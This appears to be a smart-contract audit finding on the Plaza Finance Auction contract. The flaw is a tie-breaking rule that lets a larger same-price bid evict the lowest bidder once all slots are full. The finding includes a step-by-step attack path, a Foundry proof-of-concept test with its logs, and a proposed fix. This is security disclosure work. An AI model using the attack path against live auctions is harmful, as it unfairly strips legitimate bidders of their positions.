Massive White Sloth

Medium

# Auction Sorting Mechanism Allows Higher-Size Bids to Unfairly Replace Lower-Size Bids at Same Price

### Summary

When bid slots are at maximum capacity, a malicious bidder can unfairly remove legitimate lowest bids by placing a larger-size bid at the same price ratio. Even though the bid gets reduced to fit available slot size, it successfully removes the legitimate bid from the queue.

### Root Cause

In Auction.sol - [insertSortedBid()](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/Auction.sol#L200-L206), the bid sorting mechanism prioritizes larger bid amounts when prices are equal:

```solidity
function insertSortedBid(uint256 newBidIndex) internal {
    // Price comparison logic...
    leftSide = newSellCouponAmount * currentBuyReserveAmount;
    rightSide = currentSellCouponAmount * newBuyReserveAmount;

    // When prices are equal, larger amounts get priority
    if (leftSide == rightSide && newSellCouponAmount > currentSellCouponAmount) {
        // Places new bid before current bid
        break;
    }
}
```

Example: 
Before Auction ends (1000 maxBids slots filled):
The LowestBidder's Bid:
- buyReserveAmount: 1000 wstETH
- sellCouponAmount: 1000000000 USDC
- Average Price: 1000 USDC/wstETH

Malicious End-Period Bid:
- buyReserveAmount: 2000 wstETH
- sellCouponAmount: 2000000000 USDC
- Average Price: 1000 USDC/wstETH (same price!)
Result: Removes the lowest bidder despite same price ratio

### Internal Pre-conditions

_No response_

### External Pre-conditions

_No response_

### Attack Path

1. Wait until auction is near end with 1000 maxBids filled
2. Observe current lowest bid price (ex. 1000 wstETH for 1000000000 USDC)
3. Place bid with same price ratio but double size (2000 wstETH for 2000000000 USDC)
4. Due to size priority, removes the lowest bidder from end of queue
5. Gets unfair priority despite offering same price as removed bidder

### Impact

Malicious bidders can unfairly remove the lowest bids from the auction queue by using larger bid sizes at the same price ratio. Although their bid gets reduced to the same slot size(if `maxBids` are full), they successfully gain queue position without having to bid a higher price.

### PoC

Add this test to `Auction.t.sol`
```solidity
    function testReplaceBidOfLowestBidder() public {
    uint256 initialBidAmount = 500;
    uint256 initialSellAmount = 1000000000;

    // Create 999 bids
    for (uint256 i = 0; i < 999; i++) {
      address newBidder = address(uint160(i + 1));
      vm.startPrank(newBidder);
      usdc.mint(newBidder, initialSellAmount);
      usdc.approve(address(auction), initialSellAmount);
      auction.bid(initialBidAmount, initialSellAmount);
      vm.stopPrank();
    }

    // Place a new 1000 bid
    address finalBidder = address(1000);
    uint256 finalBidderBidAmount = 1000;
    uint256 finalBidderSellAmount = 1000000000;

    vm.startPrank(finalBidder);
    usdc.mint(finalBidder, finalBidderSellAmount);
    usdc.approve(address(auction), finalBidderSellAmount);
    auction.bid(finalBidderBidAmount, finalBidderSellAmount);
    vm.stopPrank();

    // Check Initial State
    assertEq(auction.bidCount(), 1000, "bid count 1");
    assertEq(auction.highestBidIndex(), 1, "highest bid index 1");
    assertEq(auction.lowestBidIndex(), 1000, "lowest bid index 1");

    // After finalBidder's bid, let's log the bid queue state
    console.log("After Final Bidder:");
    console.log("Bid Count:", auction.bidCount());
    console.log("Highest Bid Index:", auction.highestBidIndex());
    console.log("Lowest Bid Index:", auction.lowestBidIndex());

    // Log final bidder's bid details
    (address lastBidder, uint256 lastBuyAmount, uint256 lastSellAmount,,,) = auction.bids(1000);
    console.log("Final Bidder Details:");
    console.log("Bidder:", uint256(uint160(lastBidder)));
    console.log("Buy Amount:", lastBuyAmount);
    console.log("Sell Amount:", lastSellAmount);

    // Place the malicious bid
    address maliciousBidder = address(1001);
    uint256 maliciousBidAmount = 2000;
    uint256 maliciousSellAmount = 2000000000; // this will take the final slot even though it had the same price with the lowest bid
    
    vm.startPrank(maliciousBidder);
    usdc.mint(maliciousBidder, maliciousSellAmount);
    usdc.approve(address(auction), maliciousSellAmount);
    auction.bid(maliciousBidAmount, maliciousSellAmount);
    vm.stopPrank();

    // Check updated state
    assertEq(auction.bidCount(), 1000, "bid count ");
    assertEq(auction.highestBidIndex(), 1, "highest bid index ");
    assertEq(auction.lowestBidIndex(), 1001, "lowest bid index ");
    
    // After maliciousBidder's bid, let's log the bid queue state
    console.log("\nAfter Malicious Bid:");
    console.log("Bid Count:", auction.bidCount());
    console.log("Highest Bid Index:", auction.highestBidIndex());
    console.log("Lowest Bid Index:", auction.lowestBidIndex());

    // Log maliciousBidder's bid details
    (address maliciousBidderAddress, uint256 maliciousBuyAmount, uint256 maliciousSellAmounts,,,) = auction.bids(1001);
    console.log("Malicious Bidder Details:");
    console.log("Bidder:", uint256(uint160(maliciousBidderAddress)));
    console.log("Buy Amount:", maliciousBuyAmount);
    console.log("Sell Amount:", maliciousSellAmounts);

    // Check if finalBidder's bid is still existing:
    (address updatelastBidder, uint256 updatelastBuyAmount, uint256 updatelastSellAmount,,,) = auction.bids(1000);
    console.log("\nFinal Bidder Updated Details:");
    console.log("Bidder:", uint256(uint160(updatelastBidder)));
    console.log("Buy Amount:", updatelastBuyAmount);
    console.log("Sell Amount:", updatelastSellAmount);
  } 
```

Result:
```solidity
Logs:
  After Final Bidder:
  Bid Count: 1000
  Highest Bid Index: 1
  Lowest Bid Index: 1000
  Final Bidder Details:
  Bidder: 1000
  Buy Amount: 1000
  Sell Amount: 1000000000
  
After Malicious Bid:
  Bid Count: 1000
  Highest Bid Index: 1
  Lowest Bid Index: 1001
  Malicious Bidder Details:
  Bidder: 1001
  Buy Amount: 1000
  Sell Amount: 1000000000
  
Final Bidder Updated Details:
  Bidder: 0
  Buy Amount: 0
  Sell Amount: 0
```

### Mitigation

Modify sorting to respect FIFO order when prices are equal and handle bid sizes fairly:
```diff
function insertSortedBid(uint256 newBidIndex) internal {
    leftSide = newSellCouponAmount * currentBuyReserveAmount;
    rightSide = currentSellCouponAmount * newBuyReserveAmount;

-    if (leftSide > rightSide || (leftSide == rightSide && newSellCouponAmount > currentSellCouponAmount)) {
+   if (leftSide > rightSide) {  // Only sort by price
        break;
    }
    
}
```